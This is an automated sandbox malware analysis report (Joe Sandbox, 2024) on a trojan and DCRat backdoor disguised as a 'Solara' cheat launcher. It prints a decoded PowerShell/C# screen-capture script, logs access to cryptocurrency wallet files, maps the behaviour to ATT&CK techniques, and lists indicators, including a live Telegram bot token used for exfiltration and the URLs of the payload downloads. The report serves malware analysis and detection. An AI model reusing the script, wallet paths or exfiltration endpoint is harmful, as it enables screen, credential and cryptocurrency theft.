Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	331 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	31 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	51 Disable or Modify Tools	LSASS Memory	25 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	321 Registry Run Keys / Startup Folder	11 Process Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Clipboard Data	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	321 Registry Run Keys / Startup Folder	1 Obfuscated Files or Information	NTDS	23 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Bypass User Account Control	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	123 Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	141 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Source	Detection	Scanner	Label	Link
QIjBj1l8We.exe	86%	Virustotal		Browse
QIjBj1l8We.exe	92%	ReversingLabs	Win32.Trojan.VBinder
QIjBj1l8We.exe	100%	Avira	TR/ATRAPS.Gen2
QIjBj1l8We.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	100%	Avira	HEUR/AGEN.1323984
C:\Recovery\fontdrvhost.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\Built.exe	100%	Avira	HEUR/AGEN.1306040
C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	100%	Avira	TR/ATRAPS.Gen2
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Avira	VBS/Runner.VPG
C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	100%	Joe Sandbox ML
C:\Recovery\fontdrvhost.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\fontdrvhost.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\seCeUYjhGIFplo.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Local\Temp\Built.exe	45%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	96%	ReversingLabs	Win32.Trojan.VBinder
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.ps1	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\cli.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\build.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	21%	ReversingLabs	Win32.PUA.Packunwan
C:\Users\user\AppData\Local\Temp\_MEI66162\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI66162\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Link
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
206.23.85.13.in-addr.arpa	1%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://github.com/joyent/node/issues/1726	0%	Avira URL Cloud	safe
https://david-dm.org/inspect-js/has-proto	0%	Avira URL Cloud	safe
https://david-dm.org/ljharb/es-errors.svg	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	0%	Avira URL Cloud	safe
https://github.com/ashtuchkin/iconv-lite/wiki/Supported-Encodings).	0%	Avira URL Cloud	safe
https://img.shields.io/npm/l/es-errors.svg	0%	Avira URL Cloud	safe
https://codecov.io/gh/ljharb/es-errors/branch/main/graphs/badge.svg	0%	Avira URL Cloud	safe
https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt	0%	Avira URL Cloud	safe
https://david-dm.org/inspect-js/has-proto	0%	Virustotal		Browse
https://github.com/ashtuchkin/iconv-lite/wiki/Supported-Encodings).	0%	Virustotal		Browse
https://github.com/danielgindi/node-autodetect-decoder-stream)	0%	Avira URL Cloud	safe
https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt	0%	Virustotal		Browse
https://tidelift.com/security	0%	Avira URL Cloud	safe
https://github.com/danielgindi/node-autodetect-decoder-stream)	0%	Virustotal		Browse
https://codecov.io/gh/ljharb/es-errors/branch/main/graphs/badge.svg	0%	Virustotal		Browse
https://img.shields.io/npm/l/es-errors.svg	0%	Virustotal		Browse
https://david-dm.org/ljharb/es-errors.svg	0%	Virustotal		Browse
https://github.com/ashtuchkin/iconv-lite/blob/master/lib/index.d.ts)	0%	Virustotal		Browse
https://nodei.co/npm/has-proto.png?downloads=true&stars=true	0%	Virustotal		Browse
https://tidelift.com/security	0%	Virustotal		Browse
https://github.com/joyent/node/issues/1726	0%	Virustotal		Browse
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	0%	Virustotal		Browse
https://nodei.co/npm/has-proto.png?downloads=true&stars=true	0%	Avira URL Cloud	safe
https://github.com/ashtuchkin/iconv-lite/blob/master/lib/index.d.ts)	0%	Avira URL Cloud	safe
https://github.com/ljharb)	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/es-errors.svg	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6463842780:AAFaYRMI8L5vU1x4kT-GXUhqbxhmWpQtN6k/sendDocument	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/patched.txt	0%	Avira URL Cloud	safe
http://c9.io).	0%	Avira URL Cloud	safe
https://david-dm.org/inspect-js/has-proto#info=devDependencies	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Virustotal		Browse
https://github.com/bnoordhuis/node-iconv).	0%	Avira URL Cloud	safe
https://codecov.io/gh/inspect-js/has-proto/branch/main/graphs/badge.svg	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/es-errors.svg	0%	Virustotal		Browse
https://david-dm.org/inspect-js/has-proto#info=devDependencies	0%	Virustotal		Browse
https://github.com/ljharb)	0%	Virustotal		Browse
https://api.telegram.org/bot6463842780:AAFaYRMI8L5vU1x4kT-GXUhqbxhmWpQtN6k/sendDocument	1%	Virustotal		Browse
https://david-dm.org/inspect-js/has-proto.svg	0%	Avira URL Cloud	safe
https://david-dm.org/ljharb/es-errors#info=devDependencies	0%	Avira URL Cloud	safe
http://yeoman.io/)	0%	Avira URL Cloud	safe
https://codecov.io/gh/inspect-js/has-proto/branch/main/graphs/badge.svg	0%	Virustotal		Browse
http://github.com/	0%	Avira URL Cloud	safe
https://github.com/ljharb/es-errors/actions	0%	Avira URL Cloud	safe
https://github.com/bnoordhuis/node-iconv).	0%	Virustotal		Browse
https://david-dm.org/inspect-js/has-proto.svg	0%	Virustotal		Browse
https://david-dm.org/ljharb/es-errors#info=devDependencies	0%	Virustotal		Browse
http://gruntjs.com/)	0%	Avira URL Cloud	safe
http://encoding.spec.whatwg.org/).	0%	Avira URL Cloud	safe
https://david-dm.org/ljharb/es-errors	0%	Avira URL Cloud	safe
https://github.com/ljharb/es-errors/actions	0%	Virustotal		Browse
https://npm-stat.com/charts.html?package=es-errors	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/patched.txt	0%	Virustotal		Browse
http://gruntjs.com/)	0%	Virustotal		Browse
https://david-dm.org/ljharb/es-errors	0%	Virustotal		Browse
https://img.shields.io/npm/l/has-proto.svg	0%	Avira URL Cloud	safe
https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md	0%	Avira URL Cloud	safe
http://encoding.spec.whatwg.org/).	0%	Virustotal		Browse
https://github.com/bnoordhuis/node-iconv)	0%	Avira URL Cloud	safe
https://nodei.co/npm/es-errors.png?downloads=true&stars=true	0%	Avira URL Cloud	safe
https://npm-stat.com/charts.html?package=es-errors	0%	Virustotal		Browse
http://yeoman.io/)	0%	Virustotal		Browse
https://img.shields.io/npm/l/has-proto.svg	0%	Virustotal		Browse
http://github.com/	0%	Virustotal		Browse
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip	0%	Avira URL Cloud	safe
https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md	0%	Virustotal		Browse
https://npmjs.org/package/has-proto	0%	Avira URL Cloud	safe
https://github.com/substack/node-browserify)	0%	Avira URL Cloud	safe
https://nodei.co/npm/es-errors.png?downloads=true&stars=true	0%	Virustotal		Browse
https://curl.se/docs/http-cookies.html	0%	Avira URL Cloud	safe
https://github.com/Microsoft/vscode/blob/master/LICENSE.txt	0%	Avira URL Cloud	safe
https://github.com/bnoordhuis/node-iconv)	0%	Virustotal		Browse
https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility).	0%	Avira URL Cloud	safe
https://david-dm.org/ljharb/es-errors/dev-status.svg	0%	Avira URL Cloud	safe
https://travis-ci.org/ashtuchkin/iconv-lite.svg?branch=master)	0%	Avira URL Cloud	safe
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip	0%	Virustotal		Browse
http://www.nodemailer.com/)	0%	Avira URL Cloud	safe
https://git.io/debug_fd)	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/has-proto.svg	0%	Avira URL Cloud	safe
https://npmjs.org/packages/iconv-lite/)	0%	Avira URL Cloud	safe
https://versionbadg.es/ljharb/es-errors.svg	0%	Avira URL Cloud	safe
https://travis-ci.org/ashtuchkin/iconv-lite)	0%	Avira URL Cloud	safe
https://curl.se/docs/copyright.htmlD	0%	Avira URL Cloud	safe
https://versionbadg.es/inspect-js/has-proto.svg	0%	Avira URL Cloud	safe
https://app.codecov.io/gh/inspect-js/has-proto/	0%	Avira URL Cloud	safe
https://nodei.co/npm/iconv-lite.png?downloads=true&downloadRank=true)	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Files/Solara.Dir.zip	100%	Avira URL Cloud	malware
https://app.codecov.io/gh/ljharb/es-errors/	0%	Avira URL Cloud	safe
https://david-dm.org/inspect-js/has-proto/dev-status.svg	0%	Avira URL Cloud	safe
https://npmjs.org/package/es-errors	0%	Avira URL Cloud	safe
https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding).	0%	Avira URL Cloud	safe
https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/inspect-js/h	0%	Avira URL Cloud	safe
https://github.com/inspect-js/has-proto/actions	0%	Avira URL Cloud	safe
https://npm-stat.com/charts.html?package=has-proto	0%	Avira URL Cloud	safe
https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/es-er	0%	Avira URL Cloud	safe
http://ip-api.com/json/?fields=225545	0%	Avira URL Cloud	safe
http://www.unicode.org/Public/MAPPINGS/)	0%	Avira URL Cloud	safe
https://curl.se/V	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	140.82.121.3	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.109.133	true	false	0%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	1%, Virustotal, Browse	unknown

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6463842780:AAFaYRMI8L5vU1x4kT-GXUhqbxhmWpQtN6k/sendDocument	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/quivings/Solara/main/Storage/patched.txt	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/quivings/Solara/main/Files/Solara.Dir.zip	false	Avira URL Cloud: malware	unknown
http://ip-api.com/json/?fields=225545	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://david-dm.org/inspect-js/has-proto	README.md38.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/ashtuchkin/iconv-lite/wiki/Supported-Encodings).	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://david-dm.org/ljharb/es-errors.svg	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/joyent/node/issues/1726	node.js0.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://img.shields.io/npm/l/es-errors.svg	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://codecov.io/gh/ljharb/es-errors/branch/main/graphs/badge.svg	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt	sql.js.14.dr, redshift.js.14.dr, pla.js.14.dr, freemarker2.js.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/danielgindi/node-autodetect-decoder-stream)	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://tidelift.com/security	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nodei.co/npm/has-proto.png?downloads=true&stars=true	README.md38.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/ashtuchkin/iconv-lite/blob/master/lib/index.d.ts)	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/ljharb)	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://img.shields.io/npm/dm/es-errors.svg	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	libcurl.dll.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://david-dm.org/inspect-js/has-proto#info=devDependencies	README.md38.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://c9.io).	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://github.com/bnoordhuis/node-iconv).	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://codecov.io/gh/inspect-js/has-proto/branch/main/graphs/badge.svg	README.md38.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://david-dm.org/inspect-js/has-proto.svg	README.md38.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://david-dm.org/ljharb/es-errors#info=devDependencies	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://yeoman.io/)	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://github.com/	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/ljharb/es-errors/actions	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://gruntjs.com/)	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://encoding.spec.whatwg.org/).	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://david-dm.org/ljharb/es-errors	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://npm-stat.com/charts.html?package=es-errors	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://img.shields.io/npm/l/has-proto.svg	README.md38.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md	mysql.js0.14.dr, cpp.js0.14.dr, vb.js0.14.dr, pgsql.js0.14.dr, r.js0.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/bnoordhuis/node-iconv)	README.md48.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nodei.co/npm/es-errors.png?downloads=true&stars=true	README.md16.14.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://npmjs.org/package/has-proto	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://github.com/substack/node-browserify)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html	libcurl.dll.14.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Microsoft/vscode/blob/master/LICENSE.txt	loader.js.14.dr, editor.main.nls.zh-cn.js0.14.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility).	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://david-dm.org/ljharb/es-errors/dev-status.svg	README.md16.14.dr	false	Avira URL Cloud: safe	unknown
https://travis-ci.org/ashtuchkin/iconv-lite.svg?branch=master)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
http://www.nodemailer.com/)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://git.io/debug_fd)	node.js0.14.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	libcurl.dll.14.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/dm/has-proto.svg	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://npmjs.org/packages/iconv-lite/)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://versionbadg.es/ljharb/es-errors.svg	README.md16.14.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/copyright.htmlD	libcurl.dll.14.dr	false	Avira URL Cloud: safe	unknown
https://travis-ci.org/ashtuchkin/iconv-lite)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://versionbadg.es/inspect-js/has-proto.svg	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://app.codecov.io/gh/inspect-js/has-proto/	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://nodei.co/npm/iconv-lite.png?downloads=true&downloadRank=true)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://app.codecov.io/gh/ljharb/es-errors/	README.md16.14.dr	false	Avira URL Cloud: safe	unknown
https://david-dm.org/inspect-js/has-proto/dev-status.svg	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://npmjs.org/package/es-errors	README.md16.14.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding).	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/inspect-js/h	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://github.com/inspect-js/has-proto/actions	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://npm-stat.com/charts.html?package=has-proto	README.md38.14.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/es-er	README.md16.14.dr	false	Avira URL Cloud: safe	unknown
http://www.unicode.org/Public/MAPPINGS/)	README.md48.14.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/V	libcurl.dll.14.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
185.199.111.133	unknown	Netherlands	54113	FASTLYUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1460520
Start date and time:	2024-06-21 04:26:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
